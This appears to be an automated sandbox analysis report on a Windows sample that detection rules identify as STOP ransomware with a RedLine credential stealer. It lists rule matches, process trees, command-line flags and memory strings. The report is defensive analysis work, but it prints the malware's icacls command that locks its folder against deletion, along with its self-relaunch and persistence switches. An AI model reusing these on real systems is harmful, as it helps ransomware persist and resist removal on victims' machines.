Source: 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1688362361.000000000256B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7336, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7356, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7456, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7472, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7516, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7532, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7704, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 7732, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 8060, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: sbvN2ih5AU.exe PID: 8080, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: sbvN2ih5AU.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sbvN2ih5AU.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: build2.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: build2[1].exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@22/1205@7/5

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 0_2_025567C6 CreateToolhelp32Snapshot,Module32First,

0_2_025567C6

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Command line argument: F:\	1_2_00419F90

Source: sbvN2ih5AU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000008.00000003.1935322604.00000000039C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2934799118.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: sbvN2ih5AU.exe	Virustotal: Detection: 79%
Source: sbvN2ih5AU.exe	ReversingLabs: Detection: 72%

Source: sbvN2ih5AU.exe	String found in binary or memory: set-addPolicy
Source: sbvN2ih5AU.exe	String found in binary or memory: id-cmc-addExtensions
Source: sbvN2ih5AU.exe	String found in binary or memory: set-addPolicy
Source: sbvN2ih5AU.exe	String found in binary or memory: id-cmc-addExtensions
Source: sbvN2ih5AU.exe	String found in binary or memory: set-addPolicy
Source: sbvN2ih5AU.exe	String found in binary or memory: id-cmc-addExtensions
Source: sbvN2ih5AU.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

File read: C:\Users\user\Desktop\sbvN2ih5AU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe C:\Users\user\Desktop\sbvN2ih5AU.exe
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe C:\Users\user\Desktop\sbvN2ih5AU.exe
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Process created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe C:\Users\user\Desktop\sbvN2ih5AU.exe	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Process created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: sbvN2ih5AU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2 source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.00000000035F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\i source: sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: INTEedb.logtntkrnlmp.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2225559443.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000002FDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.00000000038B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\K source: sbvN2ih5AU.exe, 00000004.00000003.2317228663.0000000003612000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2321865681.0000000003654000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2315637192.000000000360F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\16 source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\s& source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbalCache\ source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2305346249.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2303682242.00000000038CA000.00000004.00000020.00020000.00000000.sdmp
